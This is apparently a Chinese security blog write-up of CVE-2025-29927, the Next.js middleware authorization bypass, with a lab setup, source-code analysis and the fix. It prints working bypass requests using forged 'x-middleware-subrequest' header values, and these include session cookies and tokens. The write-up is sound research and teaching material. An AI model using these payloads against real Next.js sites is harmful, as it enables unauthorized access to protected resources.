Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927)
Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927)
Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927)
前言
最近 next.js 也是爆出了一个非常严重的漏洞,正好 p 神知识星球通知已经给了更方便搭建的环境,有了环境就可用来分析分析这个漏洞,看看怎么个事了

漏洞描述
CVE-2025-29927 是 Next.js 框架中发现的一个严重授权绕过漏洞。该漏洞允许攻击者通过伪造特定的 HTTP 请求头,绕过中间件中的授权检查,从而未经授权地访问受保护的资源。此问题影响了使用“next start”命令并设置“output: 'standalone'”的自托管 Next.js 应用程序。
Next.js 使用内部头字段“x-middleware-subrequest”来防止递归请求导致的无限循环。攻击者可以通过在请求中伪造该头字段,跳过中间件的执行,从而绕过关键的安全检查,例如授权 Cookie 验证。
受影响的版本
Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9
影响范围
使用中间件的自托管 Next.js 应用程序(next start with output: standalone)
依赖 Middleware 进行身份验证或安全检查的应用程序,稍后不会在应用程序中进行验证
环境搭建
使用 p 神的https://github.com/vulhub/vulhub/blob/master/next.js/CVE-2025-29927/README.zh-cn.md
拉取镜像即可
┌──(root㉿kali)-[/home/…/Desktop/vulhub/next.js/CVE-2025-29927]
└─# docker-compose up -d
Creating network "cve-2025-29927_default" with the default driver
Pulling web (vulhub/nextjs:15.2.2)...
15.2.2: Pulling from vulhub/nextjs
6e909acdb790: Pull complete
d714f4673cad: Pull complete
be84add755f8: Pull complete
9a8d89ceeab1: Pull complete
4c07c1809c8e: Pull complete
a98958ee95bc: Pull complete
23bec30f180e: Pull complete
bf031c299822: Pull complete
Digest: sha256:d4df62ece026292a8068bf48667fd8ad44b31120237ff302de294da88d7ee018
Status: Downloaded newer image for vulhub/nextjs:15.2.2
Creating cve-2025-29927_web_1 ... done
还可用参考https://github.com/aydinnyunus/CVE-2025-29927
克隆此存储库
安装依赖项:npm install
构建应用程序:npm run build
在生产模式下启动应用程序: node .next/standalone/server.js
测试漏洞:node exploit-test.js
漏洞复现
其实漏洞复现其实就是非常的简单了
首先我们正常访问我们一个页面

是一个需要登录的页面
但是如果我们加入 x-middleware-subrequest 请求头
value 为
middleware:middleware:middleware:middleware:middleware
五个

可用看到已经成功绕过了权限鉴定,来到了登录后的页面
成功的payload
GET / HTTP/1.1
Host: 192.168.177.146:3000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: DG_USER_ID_ANONYMOUS=7033ba251f524b5e815dc1b148dbbdbc; JSESSIONID=3B2EE7639B7231D3AE60969B003AB821; x-token=PfyuxmzgIzp2znoKhRqizLyFJrNfgj9i50QnO7mEHhA; csrftoken=EyIOivKpZgwACGAHlzK6sA6ptGmbxkgwyRgLzbbs2qMAE6y6WsRkAb1NSCoKfBvM; JSESSIONID.ff903be3=node018vbe3uahna2ff0il8s7khjf16.node0; JSESSIONID.a75800ce=node013fgynw2d7qbz19yxpn664qk7a1.node0; JSESSIONID.10dad7f1=node01k79svolizcp31uswn241odu6y1.node0; phpMyAdmin=f3ace94ab900c94ad23226d4a2e8a375
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Connection: keep-alive漏洞分析
我们重点分析就是根据我们的 paylaod,聚焦于我们的请求头了
在 Next.js 中,中间件(Middleware)是一种强大的工具,可以用于在请求到达 API 路由或页面组件之前执行全局逻辑,比如身份验证、请求拦截、重定向等。
参考https://github.com/aydinnyunus/CVE-2025-29927
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'
// Simulating an authentication state - in a real app this would check session/tokens
const isAuthenticated = false
// Standard middleware that checks for authentication
export function middleware(request: NextRequest) {
// Log request info
console.log('Middleware executing for path:', request.nextUrl.pathname)
console.log('Headers:')
const headerEntries = Array.from(request.headers.entries())
headerEntries.forEach(([key, value]) => {
console.log(` ${key}: ${value}`)
})
// Check specifically for the exploit header
const hasExploitHeader = request.headers.has('x-middleware-subrequest')
const exploitValue = request.headers.get('x-middleware-subrequest')
console.log('x-middleware-subrequest present:', hasExploitHeader)
console.log('x-middleware-subrequest value:', exploitValue)
// Check if the request is for the protected route
if (request.nextUrl.pathname.startsWith('/protected')) {
// Check if user is authenticated
if (!isAuthenticated) {
console.log('Auth failed - redirecting to /')
// Redirect to the home page if not authenticated
return NextResponse.redirect(new URL('/', request.url))
}
}
return NextResponse.next()
}
// Configure middleware to run on specific paths
export const config = {
matcher: ['/protected/:path*'],
} 而我们的x-middleware-subrequest 是 Next.js 框架内部使用的一个特殊 HTTP 请求头,主要用于标识和处理内部子请求,防止中间件的递归调用。
Next.js 的中间件(Middleware)可以重写(rewrite)、重定向(redirect)或修改请求。
当中间件重写请求路径(例如 /api/protected 被重写为 /api/auth-check),Next.js 服务器会重新触发新的请求,这个请求仍然会经过中间件。
如果没有 x-middleware-subrequest 进行标识,新的请求会再次触发相同的中间件,导致无限递归调用,最终造成服务器崩溃或请求死循环。
比如
用户请求 https://example.com/protected
中间件发现用户未登录,重写到 https://example.com/api/auth-check
服务器接收到新请求 https://example.com/api/auth-check,但它又会触发相同的中间件
中间件继续重写,导致死循环(无限递归)💀
如果我们使用了 x-middleware-subrequest 请求头
用户请求 https://example.com/protected
中间件重写请求到 https://example.com/api/auth-check
Next.js 自动在新请求上添加 x-middleware-subrequest
中间件检测到 x-middleware-subrequest 存在,跳过处理,避免递归
api/auth-check 正常执行,返回结果
老版本
在老版本(如 12.2 以下)时
next.js/packages/next/server/next-server.ts
如果我们有中间件,那么就会调用 runMiddleware 函数
protected async runMiddleware(params: {
request: IncomingMessage
response: ServerResponse
parsedUrl: ParsedNextUrl
parsed: UrlWithParsedQuery
onWarning?: (warning: Error) => void
}): Promise<FetchEventResult | null> {
this.middlewareBetaWarning()
const page: { name?: string; params?: { [key: string]: string } } = {}
if (await this.hasPage(params.parsedUrl.pathname)) {
page.name = params.parsedUrl.pathname
} else if (this.dynamicRoutes) {
for (const dynamicRoute of this.dynamicRoutes) {
const matchParams = dynamicRoute.match(params.parsedUrl.pathname)
if (matchParams) {
page.name = dynamicRoute.page
page.params = matchParams
break
}
}
}
const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const allHeaders = new Headers()
let result: FetchEventResult | null = null
for (const middleware of this.middleware || []) {
if (middleware.match(params.parsedUrl.pathname)) {
if (!(await this.hasMiddleware(middleware.page, middleware.ssr))) {
console.warn(`The Edge Function for ${middleware.page} was not found`)
continue
}
await this.ensureMiddleware(middleware.page, middleware.ssr)
const middlewareInfo = getMiddlewareInfo({
dev: this.renderOpts.dev,
distDir: this.distDir,
page: middleware.page,
serverless: this._isLikeServerless,
})
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue
}
result = await run({
name: middlewareInfo.name,
paths: middlewareInfo.paths,
request: {
headers: params.request.headers,
method: params.request.method || 'GET',
nextConfig: {
basePath: this.nextConfig.basePath,
i18n: this.nextConfig.i18n,
trailingSlash: this.nextConfig.trailingSlash,
},
url: getRequestMeta(params.request, '__NEXT_INIT_URL')!,
page: page,
},
useCache: !this.nextConfig.experimental.concurrentFeatures,
onWarning: (warning: Error) => {
if (params.onWarning) {
warning.message += ` "./${middlewareInfo.name}"`
params.onWarning(warning)
}
},
})
for (let [key, value] of result.response.headers) {
if (key !== 'x-middleware-next') {
allHeaders.append(key, value)
}
}
if (!this.renderOpts.dev) {
result.waitUntil.catch((error) => {
console.error(`Uncaught: middleware waitUntil errored`, error)
})
}
if (!result.response.headers.has('x-middleware-next')) {
break
}
}
}
if (!result) {
this.render404(params.request, params.response, params.parsed)
} else {
for (let [key, value] of allHeaders) {
result.response.headers.set(key, value)
}
}
return result
}
处理的主要逻辑也是在这里
匹配 URL,查找相应的中间件(Middleware)。
防止递归调用,通过 x-middleware-subrequest 标记已经执行的中间件,避免无限循环。
执行匹配的中间件,并收集其响应。
根据执行结果处理请求,决定是继续执行下一个中间件,还是返回最终的 HTTP 响应。
我们观察解析我们的 header 部分
const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
这里 x-middleware-subrequest 的值是一个字符串,通过 : 进行拆分,得到已执行中间件的列表。
我们观察对列表的处理
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue
}
如果 subrequests 数组中已经包含 middlewareInfo.name,那么这个中间件直接跳过,返回 NextResponse.next(),请求会继续前进,完全绕过该中间件的执行。
所以我们的绕过思路就出来了
伪造的 x-middleware-subrequest 头部,并让它包含目标中间件的名称,从而欺骗 runMiddleware 认为该中间件已经执行过,导致其被跳过。
GET /dashboard/team/admin HTTP/1.1
Host: example.com
x-middleware-subrequest: pages/_middleware
当然如何知道中间件的名称也是非常重要的
首先中间件必须命名为 ` _middleware.ts
必须位于 pages/ 目录下(因为 App Router 在 13 版本才推出)
所以我们可用轻易推测出我们的中间件名称为
x-middleware-subrequest: pages/_middleware
高版本绕过
在 cve 版本中
我们看到代码
export const run = withTaggedErrors(async function runWithTaggedErrors(params) {
const runtime = await getRuntimeContext(params)
const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const MAX_RECURSION_DEPTH = 5
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
waitUntil: Promise.resolve(),
response: new runtime.context.Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}为了防止中间件被反复调用导致无限循环
加入了上面代码的逻辑
首先还是一样解析它的值
subrequests 数组存储了所有子请求的名称,subreq.split(':') 将 x-middleware-subrequest 请求头中的值拆分成一个数组。
然后开始计算中间件出现的次数,depth 计算出当前中间件在请求头中的出现次数
如果递归深度超过了 MAX_RECURSION_DEPTH(5),中间件就会停止执行,返回一个包含 x-middleware-next: 1 头部的响应,允许请求继续执行并绕过当前中间件。
那么目前就是寻找中间件名称了
而在高版本,对中间件的文件又要了要求
中间件文件更名为 middleware.ts
可以参考复现 cve 的各种环境
https://github.com/lem0n817/CVE-2025-29927

┌──(root㉿kali)-[/home/…/Desktop/vulhub/next.js/CVE-2025-29927]
└─# docker exec -it bbc63dd1baec bash
root@bbc63dd1baec:/app# ls
Dockerfile app components middleware.js next.config.js node_modules package.json yarn.lock
root@bbc63dd1baec:/app#
所以我们可以使用如下 payload
GET / HTTP/1.1
Host: 192.168.177.146:3000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: DG_USER_ID_ANONYMOUS=7033ba251f524b5e815dc1b148dbbdbc; JSESSIONID=3B2EE7639B7231D3AE60969B003AB821; x-token=PfyuxmzgIzp2znoKhRqizLyFJrNfgj9i50QnO7mEHhA; csrftoken=EyIOivKpZgwACGAHlzK6sA6ptGmbxkgwyRgLzbbs2qMAE6y6WsRkAb1NSCoKfBvM; JSESSIONID.ff903be3=node018vbe3uahna2ff0il8s7khjf16.node0; JSESSIONID.a75800ce=node013fgynw2d7qbz19yxpn664qk7a1.node0; JSESSIONID.10dad7f1=node01k79svolizcp31uswn241odu6y1.node0; phpMyAdmin=f3ace94ab900c94ad23226d4a2e8a375
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Connection: keep-alive
连续五个 middleware 名称
当然参考https://nextjs.org/docs/app/building-your-application/configuring/src-directory
除了在项目的根目录中拥有特殊的 Next.js app 或 pages 目录外,Next.js 还支持将应用程序代码放在 src 目录下的常见模式。
这将应用程序代码与项目配置文件分开,后者主要位于项目的根目录中,而某些个人和团队更喜欢这样做。
要使用 src 目录,请将 app Router 文件夹或 pages Router 文件夹分别移动到 src/app 或 src/pages 目录下。
可以使用如下 payload
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
漏洞修复
其实漏洞修复官方非常的暴力
https://github.com/vercel/next.js/commit/52a078da3884efe6501613c7834a3d02a91676d2

直接删除了
参考https://github.com/lem0n817/CVE-2025-29927
https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
https://github.com/vulhub/vulhub/blob/master/next.js/CVE-2025-29927
666,学习了